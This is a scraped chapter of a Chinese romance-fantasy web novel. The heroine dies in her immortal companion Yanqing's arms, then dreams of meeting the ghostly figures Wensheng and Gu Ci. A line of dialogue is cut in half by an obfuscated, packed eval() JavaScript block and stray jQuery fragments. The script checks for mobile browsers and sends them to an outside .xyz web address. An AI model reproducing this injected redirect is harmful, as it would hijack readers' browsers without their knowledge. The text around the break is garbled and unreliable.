124. 西风曾未入梧楸
作品:《仙君总想把我推给情敌》 【另一种结局】
血雨倾泻而下,我蹲趴在地,脸颊紧贴着混着血水的泥浆。
“你还是做了同样的选择。”
“……谁?”
仙人蹑足靠近,走到双膝跪地的我跟前,缓缓蹲下身与我平视。
“当初,我就是在这里捡到了垂死的你,将你带回医鹿山,违背天命,救回了你。”
当初?是说我上一世也是死在了旷野?
“重生前的我难道也是为了——”
“是。”砚清截断我的话,“上一世,再上一世,都是为了救他。”
我自嘲笑了声。
“想不到,我还是个痴情的人。”
他也顺着我的话,说道:“是啊。想不到,于他,你这么痴情。”
贺祈源啊,无论重来多少回,我的归宿,我的结局,依旧是选择你。
尽管如此,我还是无法全心全意,真心实意地待你。
无法付诸真心的人,终落得如此下场。
砚清抬手拨开我遮挡面容的发丝,擦去我面上的血迹和泥渍。
“这次,我没办法再救你了。”
“嗯,谢谢砚清。足够了,这辈子活成这样……”我闭上眼,如释重负道,“我也累了。”
从医鹿山到光州信州,再到边疆东凉、霜洲地界,最后京都皇城,我寻他一路,最终是寻到死局。
我边说边摸上砚清的脖颈,指尖触感冰冷,却能感受到他有力的脉搏。
“我死以后,可不可以把我葬在花海,我想和他在一起。”
“好,我答应你。”
“还有……对不起。被你辛苦救回来的命,还是被我白白浪费了。”
“于我,你就只会说对不起吗?”
砚清轻笑。我猜他是想起了医鹿山时,我匍匐在他胸前一面表白心悦一面痛哭流涕的事。
“我本以为再来一次,你或许不会再走到这一步。不对,该是——不会。”
因为贺祈源早已不在这个世上,重生后的南风不会再和他相逢,不会记起关于他的记忆,更不会平白无故再次选择他。
更何况,我们只差一点便能长相厮守。
柳砚清沉下眸子问:“是大仙的梦境吗?”
“……是。”我苦笑道,“爹爹也没算到这一步吧。”
方大仙估计也没算到南风会凭着一场支离破碎的梦境再次踏上这条不归途吧。
消除了上百次的梦境,独独疏漏了一场,让我回忆起了前世的少年,义无反顾重蹈覆辙。
寒意浸透骨髓,我往砚清怀里缩了缩,莫名有些困了。
“砚清。”
“我在这儿。”
我迟缓地抬手,与砚清默契地对看一眼。
他果然还是生得那么好看,哪怕是在这等人不人,鬼不鬼的地界,依旧那么耀眼。
“我困了……想先睡了……”
身躯靠上冰凉更甚的身躯,我忍不住又缩了缩肩膀,寒意窜上背脊,胃里翻滚着恶心。
砚清攥紧我的手,一如既往的温柔。
“再坚持一会儿吧。天快亮了。”
“嗯……天快亮了……”
漫长又短暂的一生,终于结束了。
数以万计的星芒汇聚在他掌心,如一盏明灯,照亮血海般晦暗的旷野。暖暖中,我闭上眼——
砚清眼角坠下一滴泪,落在我逐渐冰冷的唇上。
【九歌一梦】
坠落时,记忆从脑海中抽离,不同现实的结局在眼前上演。
我仰望着追来的砚清,忽然笑了。
不要哭啊,你怎么还流泪了?一点没有仙人该有的样子……
“没关系,大不了……你我从未相识。不过一个风流成性的仙子,不值得你露出这般表情的。”
将触未触的指尖越拉越远,我终于清醒地明白我们再也无法触碰,绝望地哽咽。
“砚清……我会去寻你的,等我。”
大脑冲荡着一阵阵的拧痛。再睁眼,一道黑影站在我身边。
我看不清他的脸,就连身体也是,胡成一团一触即散的浓雾。
“你是谁?”
他不答,拉着我的手踏入绿色旷野中,那些萤火虫漂浮在花海之上,向我们汇聚而来,渐渐将我包围。
我惊叹:“好美的萤火。”
黑影道:“这不是萤火,是蜉蝣。”
我问:“蜉蝣?那是什么?”
他答:“以啃食□□和记忆为生的虫。”
没有眼鼻嘴的黑影到底如何听见我的声音,如何说出话的,我很好奇。
仿佛察觉到了我的疑惑,他转向我。没有眼睛,望着我的“眼神”竟透出一丝温柔。
他将手伸进自己的身体里,缓缓取出一团黑,清风拂过,黑雾散去变为一顶斗笠。我惊讶了声,他自顾自将斗笠戴上我的头顶。
“往前三里,有位守路人。问他,他会指给你方向。”
我不解地抬头看他,他已经将我的头上斗笠的纱帘放下,眼前的面容被蒙上一层白。
“路上小心。”
“我还不知道你是谁?”
“不必知道。”
“嗯……”
“我们会再见的。”
话音落下,他也同那些蜉蝣一般从我眼前消散。
蜉蝣,朝生暮死。旷野的蜉蝣却能永生。
我看着眼前漂浮的不可思议的虫,迈步朝前。
“秋风萧瑟,满目疮痍。家国何在?!只剩一片荒芜呐!”
循声望去,只见一位鬓发斑白的老者独坐岩上,背影萧索。
我强压下心头的羞怯,故作镇定地清了清嗓子引来他的注意。
“老人家好,我想去蓬莱仙岛,请问该怎么走呢?”
老者缓缓回望我,浑浊的眼中闪过一丝精光。
满头银丝之人面向约莫五十来岁,即便衰老依旧掩盖不住诗书风骨。
“姑娘为何去蓬莱?”
“我的家……好像在那里。”
“那里是神仙居住的地方,莫非姑娘……是仙?”
“应该是吧。”我怪不好意思地捋了捋鬓发,“虽然看着和天上的仙女毫不沾边。”
“敢问姑娘芳名?”
原野的风掠过,我怔忡片刻:“我不记得了。”
他站起身走到我面前,抬手指了指向云深之处。
“往清溪山走,有位高人,可指引你接下来要走的路。”
“多谢老人——”
话到嘴边突然顿住。眼前的老者身影开始渐渐透明,化作点点流萤。
“不必唤我老人家,你方可唤我的名字。”
“不会失了礼德?”
“若论年岁,仙子怕是比老朽年长数千春秋。”
我思忖片刻后缓缓摇头。
“这不行。还请您告诉吧!我该怎么称呼您?”
他似是着急离开,全然不等我把话讲完。我急忙伸手,却只抓住一缕清风。
最后一点萤火湮灭前,风中传来缥缈的余音:
“在下闻笙,是位云游四方的教书先生。”
风又起,恰如何年何月,一场春糜烂漫的梦境中拂过的胭脂香。
“闻笙……嗯,我记住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056837|179140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了!”
我踏过荒原,眼前忽现一座巍峨青山。云雾缭绕间,峰顶若隐若现,不知是否就是闻笙所说的清溪山。
正踌躇间,忽闻脚步声渐近。一位樵夫肩扛柴捆,踏着落叶而来。我连忙上前施礼,道出我的目的地。
樵夫闻言,蹙眉惊呼:“清溪山?那可是在洛城,离这儿还几千里路呢。”
“那么远?!”
樵夫见我神色,又补充道:“不过姑娘要寻高人,这山中也有一位,兴许能帮上姑娘。”
我眼睛一亮,提起的心又放下。
“再好不过了!还请您指点迷津。”
那似乎高人住在层峦叠嶂深处,樵夫指着被云烟吞没的山径道:“要过九道瀑布,攀铁索桥,方见一座茅草屋,高人就住在那儿。但,见得着见不着,还得看仙长心情。常有人上山,最后悻悻而返。”
我郑重颔首致谢:“多谢指点。”
山风骤起,吹动我腰间的丝绦。望着幽深的山径,我握紧袖中的步摇,深吸一口气迈步向前。樵夫的声音从身后传来:“姑娘保重!若见不到就早些下山,入夜后这山路可不太平……”
“好!我——”
转身之际,人已不见踪影。
我踏着嶙峋山石一路向上,当终于攀至绝顶时,眼前景象却让我倒吸一口凉气。
陡峭的岩壁下是葱郁的树海,再多迈出一步,便是死无全尸。
到底出于什么考虑才会把房屋修在这等地方……
山风卷着松涛在崖边盘旋,高人的玄色衣袂翻飞如鹤羽。
他好似知晓我会来,早早地在此恭候。
我也省去了解释,开门见山。他听完我的讲述,忽然轻笑一声:
“闻笙?老者?”
高人笑道:“原来如此。他用仙术将闻笙的年纪留在了初遇时的模样,此番终局,仙术也自然而然接触,闻笙也变回了原本的模样。”
“不知仙长何意……”
他说得有头有尾,可我字词听懂了,却不知为何意。
高人折下一枝松,递给我。我颔首接下,凑到鼻尖前,嗅了嗅松香。
“凡人寿命短暂,仙子的白驹,便是他们的一生。”
我还是不明白他在说什么,茫然地盯着他那双死潭似的眼睛。
他顿了顿,微微俯下身双手撑在膝盖上与我平视。我忐忑地眨了眨眼,稍稍后退半步。
“接下来往东走。翻过三座山,再走一段路,有座书院,去寻一人。”
“好。敢问,那人叫什么名字?”
知晓名字也好朝路人打听打听,免得白跑一趟。
“砚清。研墨和之濡也,无污之净。”
“好,我记住了。”
转身欲走时,忽听他在身后道:“仙子不问我的名字吗?”
几乎是同时,我也脱口而出:“哦对了,我能知道仙长的名字吗?”
刚巧不谋而合,两人一同怔愣,不约而同笑起来。
高人捏住我的右手指尖,抬起,带着薄茧的手指在我掌心写下两个字。
“贫道,顾辞。”
“顾、辞……”喃喃后,我浅笑着抬眸,“我很喜欢这两个字。”
“这名字就是你取的。”
“啊?”
没等到他回答我,顾辞的身影同闻笙一样渐渐透明,即将变为流萤消失。
“九歌终了,去做完你最后一场梦罢。”
而后醒来,忘干一切吧。
终于,最后一点流萤也被完全消失了。我望向天地间无垠的云海,心思迷惘。
“九歌……一梦吗?”